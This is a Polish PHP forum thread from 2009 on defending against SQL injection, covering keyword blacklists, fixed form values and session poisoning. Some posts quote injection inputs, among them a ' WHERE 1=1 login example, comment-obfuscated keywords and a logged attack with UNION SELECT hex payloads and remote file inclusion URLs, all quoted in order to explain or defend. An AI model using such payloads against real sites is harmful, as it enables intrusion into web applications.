![]() |
![]() ![]() |
![]() |
![]()
Post
#221
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 3 Dołączył: 23.12.2008 Skąd: Piaseczno Ostrzeżenie: (0%) ![]() ![]() |
:-) No to jasne, że można :-) ale chodzi mi o zabezpieczenie przed wpisywaniem przez 'szarego' użytkownika eksperymantalnych wartości w pasku url :-)
np. jeżeli jesteśmy na stronce https://sklep.jakistamsklep.pl/lista_1.php?...&toitamto=2 to już nie będzie można sobie wpisać wartosci wyswietl i toitamto ręcznie po zastosowaniu tego o czym mowa :-) A czy ktoś się orientuje czy w zapobieganiu MySql Injection ma jakieś znaczenie to, czy treść zapytania MySql jest zakończona w php średnikiem ? czyli
zamiast
? |
|
|
![]()
Post
#222
|
|
Grupa: Zarejestrowani Postów: 55 Pomógł: 4 Dołączył: 19.05.2003 Skąd: Gdańsk Ostrzeżenie: (0%) ![]() ![]() |
a od kiedy zapytanie w mysql_query() konczy sie srednikiem?
|
|
|
![]()
Post
#223
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 3 Dołączył: 23.12.2008 Skąd: Piaseczno Ostrzeżenie: (0%) ![]() ![]() |
zapytania MySql kończy się średnikiem :-) a w mysql_query teoretycznie też można więc ciekawi mnie czy ten średnik w mysql_query mógłby np. czemuś zapobiec (np. dołączeniu UNION SELECT) czy raczej nie :-) Zwyczjnie nie wiem to pytam :-)
Ten post edytował mlattari 28.02.2009, 13:40:55 |
|
|
![]()
Post
#224
|
|
Grupa: Zarejestrowani Postów: 690 Pomógł: 81 Dołączył: 6.04.2005 Skąd: Szczecin Ostrzeżenie: (0%) ![]() ![]() |
";" oznacza ze dane zapytanie zostalo zakonczone, w przypadku "zwyklych" selektow, insertow etc nie ma znaczenia czy dasz ; czy nie
co do uzycia ";" jako obranie przed union select to sprawa jest jasna (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) wszystko co wstrzykujesz leci przed ; tak wiec nic on nie da (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) |
|
|
![]()
Post
#225
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 3 Dołączył: 23.12.2008 Skąd: Piaseczno Ostrzeżenie: (0%) ![]() ![]() |
no racja... ja jakoś lubię te średniki tam wstawiać ale to chyba zboczenie od klienta mysql.... :-|
A czy ktoś może wie czy jest możliwy atak MySql Injection na zmienne przekazywane przez $_POST[] poprzez listy wyboru typu <SELECT>, w których są ustawione sztywne wartości. Czy da się jakoś manewrować tymi zmiennymi, tak żeby udało się tam coś wstrzyknąć? Chodzi mi o to czy też trzeba zabezpieczać się w przypadku zastosowania list wyboru typy <SELECT> ze sztywnymi wartościami. Np. <option selected>1: Wybór1</option>. W takim przypadku odcinam sobie to co przed znakiem : czyli 1. Czy ktoś byłby w stanie coś tam podpiąć żeby i to trafiło do MySql? Ten post edytował mlattari 1.03.2009, 18:41:37 |
|
|
![]()
Post
#226
|
|
Grupa: Zarejestrowani Postów: 690 Pomógł: 81 Dołączył: 6.04.2005 Skąd: Szczecin Ostrzeżenie: (0%) ![]() ![]() |
trzeba, kod HTML może być dowolnie zmodyfikowany, odpal sobie FireBug`a ( wtyczka do FireFoxa) i popatrz sobie jak latwo mozna zmanipulowac kod HTML
|
|
|
![]()
Post
#227
|
|
Grupa: Zarejestrowani Postów: 79 Pomógł: 3 Dołączył: 23.12.2008 Skąd: Piaseczno Ostrzeżenie: (0%) ![]() ![]() |
hmm dzięki! to dobrze wiedzieć!
|
|
|
![]()
Post
#228
|
|
Grupa: Zarejestrowani Postów: 143 Pomógł: 17 Dołączył: 8.11.2008 Skąd: Libiąż Ostrzeżenie: (0%) ![]() ![]() |
Te wartości, które masz stałe, np. tak jak w przypadku tej jedynki najłatwiej obsłużyć przez switch'a - nie ma możliwości innych wartości, bo PHP to wybije na default'ową wartość (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg) Oczywiście wada jest taka, że jest to bezpośrednio w kodzie, co zmniejsza elastyczność, ale coś za coś mówią (IMG:http://forum.php.pl/style_emoticons/default/winksmiley.jpg)
|
|
|
![]() ![]()
Post
#229
|
|
Grupa: Zarejestrowani Postów: 1 178 Pomógł: 51 Dołączył: 7.01.2009 Skąd: Gdańsk Ostrzeżenie: (0%) ![]() ![]() |
Nie wiem jak wam, ale jak przepuściłem przez mój system login wyszło:
Kod \', haslo=\'nowe_haslo\' id = 1 I myślę że to dobry sposób, jezei doda się wszystkie komendy sql (IMG:http://forum.php.pl/style_emoticons/default/smile.gif)
Jeżeli zostanie wykryta jakakolwiek proba wlamania sie to konserwujemy caly ciag. Mozna tez uzyc czego innego i potem to odmieszać i sprawdzic co uzyszkodnicy chieli nam zrobic. I mam pytanie czy przy if, nie można jakos inaczej porownac? if strstr(ciag, tablica) (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif) Ten post edytował thomson89 21.03.2009, 19:53:41 |
|
|
![]()
Post
#230
|
|
Grupa: Zarejestrowani Postów: 1 182 Pomógł: 115 Dołączył: 4.03.2009 Skąd: Myszków Ostrzeżenie: (0%) ![]() ![]() |
A po co tak wydziwiać? Jeśli stringa trzymasz w cudzysłowach/apostrofach to MySQL nawet nie spojrzy na żadne słowo kluczowe.
|
|
|
![]()
Post
#231
|
|
Grupa: Moderatorzy Postów: 15 467 Pomógł: 1451 Dołączył: 25.04.2005 Skąd: Szczebrzeszyn/Rzeszów ![]() |
Cytat I mam pytanie czy przy if, nie można jakos inaczej porownac? if strstr(ciag, tablica) in_array" title="Zobacz w manualu PHP" target="_manual |
|
|
![]()
Post
#232
|
|
Grupa: Zarejestrowani Postów: 1 178 Pomógł: 51 Dołączył: 7.01.2009 Skąd: Gdańsk Ostrzeżenie: (0%) ![]() ![]() |
Cytat(Mephistofeles) A po co tak wydziwiać? Jeśli stringa trzymasz w cudzysłowach/apostrofach to MySQL nawet nie spojrzy na żadne słowo kluczowe. @Mephistofeles, jak ktos tam kilka stron wcześniej powiedział: Trzeba przygotować się na najgorsze. z in array nie dziala
to nie znajduje ciagu where i warunek nie spełniony... Ten post edytował thomson89 21.03.2009, 20:29:28 |
|
|
![]()
Post
#233
|
|
Grupa: Moderatorzy Postów: 15 467 Pomógł: 1451 Dołączył: 25.04.2005 Skąd: Szczebrzeszyn/Rzeszów ![]() |
To najlepiej siedzieć przy kompie i każde żądanie użytkownika przeglądać osobiście.
Przeczytaj cały ten wątek, od początku, dopiero potem zadawaj pytania. (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif) |
|
|
![]()
Post
#234
|
|
Grupa: Zarejestrowani Postów: 690 Pomógł: 81 Dołączył: 6.04.2005 Skąd: Szczecin Ostrzeżenie: (0%) ![]() ![]() |
@thomson89 kiedys na swoim rozowym blogasku pisalem, ze w wiekszosci przypadkow pisanie wlasnego systemu filtracji nie ma sensu, bo zawsze cos sie spieprzy ;-) co prawda nie czytalem dokladnie Twojego kodu, ale smiem twierdzic ze "SELECT * FROM tab;" potraktuje jako probe SQLi, a co z "SELECT * FR/**/OM tab;" ?
przy okazji mozesz rzucic okiem na http://www.beldzio.com/zabezpieczenie-mlek...-miodem-plynace |
|
|
![]()
Post
#235
|
|
Grupa: Zarejestrowani Postów: 198 Pomógł: 0 Dołączył: 31.01.2008 Ostrzeżenie: (0%) ![]() ![]() |
Jakie sa mozliwości włamania na mojej stronie?
Nie mam zadnego formularza rejestracji, uzytkownik moze jedynie przegladac swoj profil bez edycji danych. Jest to strona z przedmiotu logistyka gdzie umieszczone sa testy sprawdzajaca wiedze z tej problematyki. W polach do logowania uzytkownik moze podawac tylko liczy i litery zadnych kropek itp. Uzywam md5 do hashowania hasel. W kazdej stronie sa wstawione warunki na temat czy osoba ma prawo zagladania do danej strony. Jedyne miejsce gdzie uzytkownik moze cos wspisac to formularz kontaktowy do wysylania maili. Gdy jestemy zalogowani ustawiana jest zmienna $_SESSION['login'] a gdy admin to $_SESSION['admin'] |
|
|
![]()
Post
#236
|
|
Grupa: Zarejestrowani Postów: 690 Pomógł: 81 Dołączył: 6.04.2005 Skąd: Szczecin Ostrzeżenie: (0%) ![]() ![]() |
nie widzac kodu zbyt wiele nie da sie powiedziec (IMG:http://forum.php.pl/style_emoticons/default/smile.gif) jesli filtrujesz wszystko co nalezy i jak nalezy powinno byc ok
|
|
|
![]()
Post
#237
|
|
Grupa: Zarejestrowani Postów: 592 Pomógł: 62 Dołączył: 3.08.2006 Ostrzeżenie: (0%) ![]() ![]() |
pamietaj, że istnieje zatruwanie sesji, więc nie opieraj się tylko i wyłącznei na istnieniu danej zmiennej sesyjnej, możesz sprawdzić ip itp.
|
|
|
![]()
Post
#238
|
|
Grupa: Zarejestrowani Postów: 1 178 Pomógł: 51 Dołączył: 7.01.2009 Skąd: Gdańsk Ostrzeżenie: (0%) ![]() ![]() |
A czy najlepszym zabezpieczeniem nie byłoby sprawdzenie czy ciąg zawiera znak " ; " (IMG:http://forum.php.pl/style_emoticons/default/questionmark.gif)
|
|
|
![]()
Post
#239
|
|
Grupa: Moderatorzy Postów: 15 467 Pomógł: 1451 Dołączył: 25.04.2005 Skąd: Szczebrzeszyn/Rzeszów ![]() |
Tak? To ja wpiszę login:
Kod ' WHERE 1=1 (IMG:http://forum.php.pl/style_emoticons/default/tongue.gif) Przeczytaj, co do tej pory się naprodukowaliśmy, bo zaczyna wątek kołować. |
|
|
![]()
Post
#240
|
|
Grupa: Zarejestrowani Postów: 1 Pomógł: 0 Dołączył: 30.05.2009 Ostrzeżenie: (0%) ![]() ![]() |
Mam pytanie, przepraszam, jeśli w złym wątku, ale wydaje mi się, że na temat.
Ostatnio na moją stronę próbowano dokonać ataku tego typu (sądzę, że się nie powiodło). Nie rozumiem, co ten ktoś/coś próbował zrobić. Gdyby ktoś mógł mi to wytłumaczyć, to może byłoby to z pożytkiem dla innych (ilustracja do tematu)? Wyglądało to tak (dane mam ze sprytnego skryptu rejestrującego wejścia na stronę - dotyczy więc GET) Najpierw ktoś w adresie próbował w jedną ze zmiennych wstawić adres (nie będę mu robił reklamy, więc wyiksowałem) moja_strona.pl?art=newsy&k=http://www.xxxxxxxxx.com/layout/oxiqade/jokihi/ Potem próbował tak moja_strona.pl?art=newsy&k=3/**/union/**/select/ **/0x6A7573745F615F746573745F315F305F305F736C6173685F315F3C3F706870206563686F286D64 528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F6A6174657374362 7068702 Potem jeszcze kilkanaście takich prób, z tym, że przed tym dziwnym ciągiem dodawał coraz więcej null, **/union/**/select/**/null, ... /**/union/**/select/**/null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null, ull,null,null,null,null,null,null,null,null,null, Potem zmienił taktykę, i dodawał nawias ?art=newsy&k=3) union select 0x6A7573745F615F746573745F315F305F315F6461736 bleble potem trochę pochodził po stronie, spróbował jeszcze z linkiem ?p=http://www.xxxxxxxxxxx.kz/templates_c/omoj/suju/ i sobie poszedł. Całośc trwała 3 minuty. Czy to było niebezpieczne? Mam nadzieję, że się zbytnio nie ośmieszam tym pytaniem. |
|
|
![]() ![]() |
![]() |
Aktualny czas: 24.08.2025 - 00:07 |